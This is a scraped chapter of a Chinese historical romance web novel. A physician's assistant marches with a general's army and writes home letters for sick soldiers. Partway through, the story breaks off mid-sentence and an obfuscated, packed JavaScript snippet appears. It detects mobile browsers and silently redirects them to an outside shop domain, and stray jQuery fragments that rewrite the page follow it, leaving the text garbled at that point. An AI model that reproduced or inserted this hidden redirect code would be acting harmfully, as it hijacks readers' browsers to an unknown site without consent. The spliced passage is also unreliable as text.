随着夏季临近,天亮的时辰逐渐变早。
睡梦中阮筠隐约听见号角声,猛地想起自己身处军队之中,一骨碌爬起来。
她抹了一把脸,正准备下榻时,在枕头旁边摸到一样冰冷东西。
是一把匕首,小巧轻便,从匕鞘里抽出来一看,刀面锋利,闪烁着湛湛寒光。
阮筠突然想起当初傅戎在凉亭强硬塞给她的那把匕首,虽然不是同一把,但她明白这是傅戎留给她防身的。
简单快速地盥洗完,她穿好衣裳,找了个合适位置藏好匕首,刚走出营帐,听见一阵“咴咴”的叫声。
一辆驴车停在营帐前。
“夫人。”傅戎留下来的护卫上前解释,“将军说诸位医师体弱,命人安排了驴车给各位乘坐。”
好的马匹都拿去给骑兵当战马,驴子温驯耐力好,确实适合用于长途行军。
不是特意准备给她的,阮筠心中稍安,见孙医师出来了,扶着他老人家先坐上驴车,然后自己才坐上去。
黑色毛驴在前面不紧不慢地走着,坐车虽然颠簸,但比走路轻松。
颠了一天,天黑再次休息的时候,阮筠想办法去附近找了些草料,喂给毛驴。
毛驴吧唧吧唧地嚼着草料。
阮筠摸摸它的长耳朵,听见身后传来一阵熟悉的脚步声,回头看了一眼,又装作没看见一样转回来,继续看驴吃草。
“累吗?”傅戎询问她的意见,“要不要跟我一起走?”
他身为一军主帅,出征边关却在身边带了名女子,这样影响士气,也容易被人弹劾。
阮筠摇头拒绝,忍不住问:“你真的不忙吗?”不然他怎么闲得还能来找她?
“有点忙。”傅戎顺手捞了把草料喂到毛驴嘴边,“今天坐驴车累不累吗?有没有觉得不舒服?”
“已经很好了。”
喂完毛驴,阮筠走回营帐。
搭营帐的护卫挑选位置时非常用心,安全安静不显眼,饶是傅戎悄悄过来也不易被人发现。
后来她才知道军医营一直跟在中军营后,傅戎来找她的距离很近。
“你昨天什么时候离开?”
昨夜阮筠睡得很熟,今天清晨醒来才发现傅戎不在旁边,一点没有发现他是几时离开。
“你睡着后。”
问题是她一觉从天黑睡到第二天天亮,他总不可能在天亮前离开的吧?
阮筠暗暗警醒自己今天不能睡得像昨天那么死了,简单收拾一下,没管待在帐内的傅戎,假装他不存在,安然入睡。
之后几乎每天阮筠都能看到傅戎傍晚时分出现在她的面前,她从一开始拒绝不习惯到后面的麻木,甚至有时候看不到傅戎出现反而不习惯了。
当她惊讶发现自己在傅戎润物细无声的靠近中习惯了身边有他的存在时,潼关到了。
潼关,西进关中东入中原的咽喉要地,设有潼关卫。
军队走了一个多月,人疲马乏,过了潼关进入镐京府治下的下邽县,傅戎下令休整五天。
镐京府的官员早早收到朝廷急递,知道傅戎会率军前来,提前安排诸多事宜,供应充足的粮草、更换破损战袍盔甲、送治伤养病的药草等等,如流水般运进军营。
傅戎安排人去接收,留在营帐翻阅布政司的官员名单、历年税收、边关最新邸报等等。
“将军。”镐京府的一名官员说,“刘知府公务繁忙,不便脱身,特命下官前来,知府已在府邸备好佳宴,还请将军赏光。”
从下邽到镐京百余里,来回至少三天。
傅戎掀起眼帘轻飘飘扫了他一眼。
那名官员立即转换话头:“将军呕心沥血,心念边境安危,焉有心思赴宴,是下官愚钝无知,还请将军责罚。”
好话赖话都让对方说了,傅戎朝跟在旁边的袁仁敬使了个眼色,后者了然,半是强硬半是推搡地把人弄出去了。
潼关卫的将领是他一手提拔,此行也来到了下邽县,向他一五一十地禀告镐京府等的情况。
“去年接连几场败仗,绥城损失较重,各府县运送了不少粮草马匹过去……”
傅戎一边听,一边问问题,忙了一个上午下来,他已详细了解边关及附近府县情况。
“各位辛苦了。”天色将黑,傅戎合上最后一份文书,“我已经让人安排了晚宴,行军途中不宜过分铺张,宴席简陋,诸位不要嫌弃。”
堂堂大军主帅可以说客套话,底下文官武将哪里敢真的说嫌弃不去,再者在场的大部分都是傅戎派系,剩下人再差也不敢明确反对他。
“崔县丞留步。”
站在一列官员最末尾的年轻男子脚步顿住。
有些官员疑惑,不明白傅戎为什么要单独留一名正八品县丞,甚至连下邽县的县令都没叫留下。
下邽县令倒是知道些许内情,主动请其他人到县衙休息,将空间留给这两位曾经的连襟。
“你在下邽任职两年多,接下来有什么打算?是想继续在外任职还是回京城?”
“回将军,下官资历尚浅,只想尽心为民做事,不必劳烦将军。”
傅戎不在意对方的疏离,另起话头:“长青二月初已经回到京城,在礼部任主事,岳父岳母除了刚回京时有些不舒服,现在身子康健并无大碍,此外离京前,长青的夫人已经怀有一个多月的身孕。”
傅戎要说,说得又快,崔景琛压根拦不住,听完阮家近况,只牢记在心里准备回去告诉阮梅。
“有劳将军,内子与岳父岳母一直有家书往来,将军公务繁身,不敢劳烦将军,还请将军日后不必如此辛苦。”崔景琛礼仪周全地行礼,“将军,若无要事,请容许下官先行告退。”
傅戎“嗯”了一声,目送崔景琛毫不犹豫地大步离开,低头按了一下胸口的位置,抬头看着城外方向。
她现在在做什么?
*
城外,军营。
上万名士兵民夫不可能一股脑全涌进县城,大部分人马仍需在城外宿营。
阮筠留在了军医营帐。
长途跋涉,不少士兵或是水土不服导致腹泻头晕等,或是走山路时不小心摔伤手脚,或是夜里着凉不慎感染风寒等等。
好在一路上没有爆发疫病,生病的士兵民夫不过百余人,大部分症状较轻,吃几副药便痊愈了,严重的便留在军医营帐养伤治病。
阮筠跟在孙医师旁边,记录他为病患诊脉的脉象,给一些伤兵送汤药,协助孙医师为骨折的士兵换绷带药膏。
忙完一圈,孙医师捶捶肩膀,指着旁边满满一托盘的药,“你把这些送去隔壁,碗底下压了姓名。”
“好。”阮筠劝道,“师父,这边已经忙完了,您先回去休息。”
孙医师点点头,又说:“明天你得空可以去县城里逛逛,去之前跟领头的医官说一声便可。”
她低垂眼帘,承下孙医师的好意,目送孙医师走远,走进隔壁营帐。
这帐子里的都是水土不服的毛病,比较严重,腹泻呕吐导致消瘦无力,连路都走不了。
阮筠按照碗底纸条上的姓名开始喊名字,依次给伤兵送药,送到最后一碗,恰好靠近门口的位置。
生病的是位二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783028|205803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
十四五岁的年轻男子,捧着碗喝完药,“大夫,我这病啥时候好?”
她观察对方气色,回想孙医师诊出来的脉象,谨慎回道:“明天再喝一副药,如果没有哪里不适的话,应该是没问题了。”
“大夫你可真是厉害,跟庙里的菩萨一样。”
帐里其他人跟着起哄夸了几句,阮筠只笑笑,收拾好药碗准备离开。
“大夫!”原先那名伤兵叫住她,一脸有话要说又不好意思开口,挠着脑袋偷瞄她。
“是哪里不舒服吗?还是有什么事情要做?”
闻言,那伤兵终于下定决心:“大夫,您是不是认识字?能不能帮、帮我写封信回家?”
阮筠微微一愣,视线停在对方疲惫沧桑的脸,从中看出希望,应声:“好,你想写什么?”
先前记录脉象的纸笔还剩一些,她在帐里找了块木板当桌子,研墨提笔。
“大夫,您真是顶好顶好的大好人!”那伤兵笑容满面,“呃,我想想,该说什么……咳咳,我家婆娘,我已经到了、到了……”
“关中。”阮筠提醒,“过了潼关便进入关中地界。”
“哦哦,大夫你懂的真多,我到了关中,啥事都没有,家里的地种了吗?大娃还听话吗?二娃会不会喊爹娘了?你告诉这两个臭小子,他们爹是大英雄,要去杀蛮子……”
提及家人,这名伤兵话一下子多了起来,从途中看到奇模怪样的花草树木到完全听不懂的地方话再到下雨了不知道家里的田地缺不缺水。
说了一大堆,却半点没说生病的事情。
“你这夯货,说这些废话让阮大夫写这么字。”隔壁伤兵叫嚷,“你以为写字不累吗!”
阮筠不在意,将写好的信件念了一遍,问:“这样行吗?还有什么地方要改吗?”
“没有没有,阮大夫你写的真好,等明天我就叫人帮我寄回去。”他小心翼翼折好那几张薄薄信纸,贴身放好。
阮筠转头,对上其他人希冀的目光,思索片刻,说:“你们还有人想写家书的话,我可以帮你们写。”
“我!我!阮大夫!我想写!”
“还有我!”
“算我一个!”
阮筠耐心很好,帮营帐里每个伤兵都写了家书,写到一半信纸不够还另外出去取了一沓纸张回来。
“阮大夫。”最开始那名士兵问,“你怎么不给家人写信?”
她沉默一下,说:“正准备写。”
“你可要给记得你家那口子报个平安,唉,我家婆娘最担心的就是我在边关出事了,话说你家那口子是干啥的?怎么答应让你一个人来边关?”
“他……也是当兵的。”
“也是当兵的啊。”对方叹气,“像我们这样的都是把脑袋别在裤腰带上,最想着的就是家里人平安……”
这名士兵话多,说了许久见她没出声,忍不住问:“阮大夫,你不担心你家那口子吗?”
阮筠沉默的时间更久,声音轻飘飘地飘散在风中:“担心。”
“将军!”那名士兵惊喜唤道,“您怎么来了?”
营帐内其他士兵同样惊讶。
“我过来看看你们的病情。”傅戎停在门口,“你们安心养病。”
阮筠悄悄起身,退到营帐外。
傅戎有时候亲自到士兵养伤治病的营帐,关心他们的病情,亲自为沉睡的伤兵捏好被角。
可是他今天怎么没进去只站在门口问候?
阮筠停在营帐外,仰头望着夜空,待傅戎走近,闻到一股淡淡的酒气。
“你喝酒了?”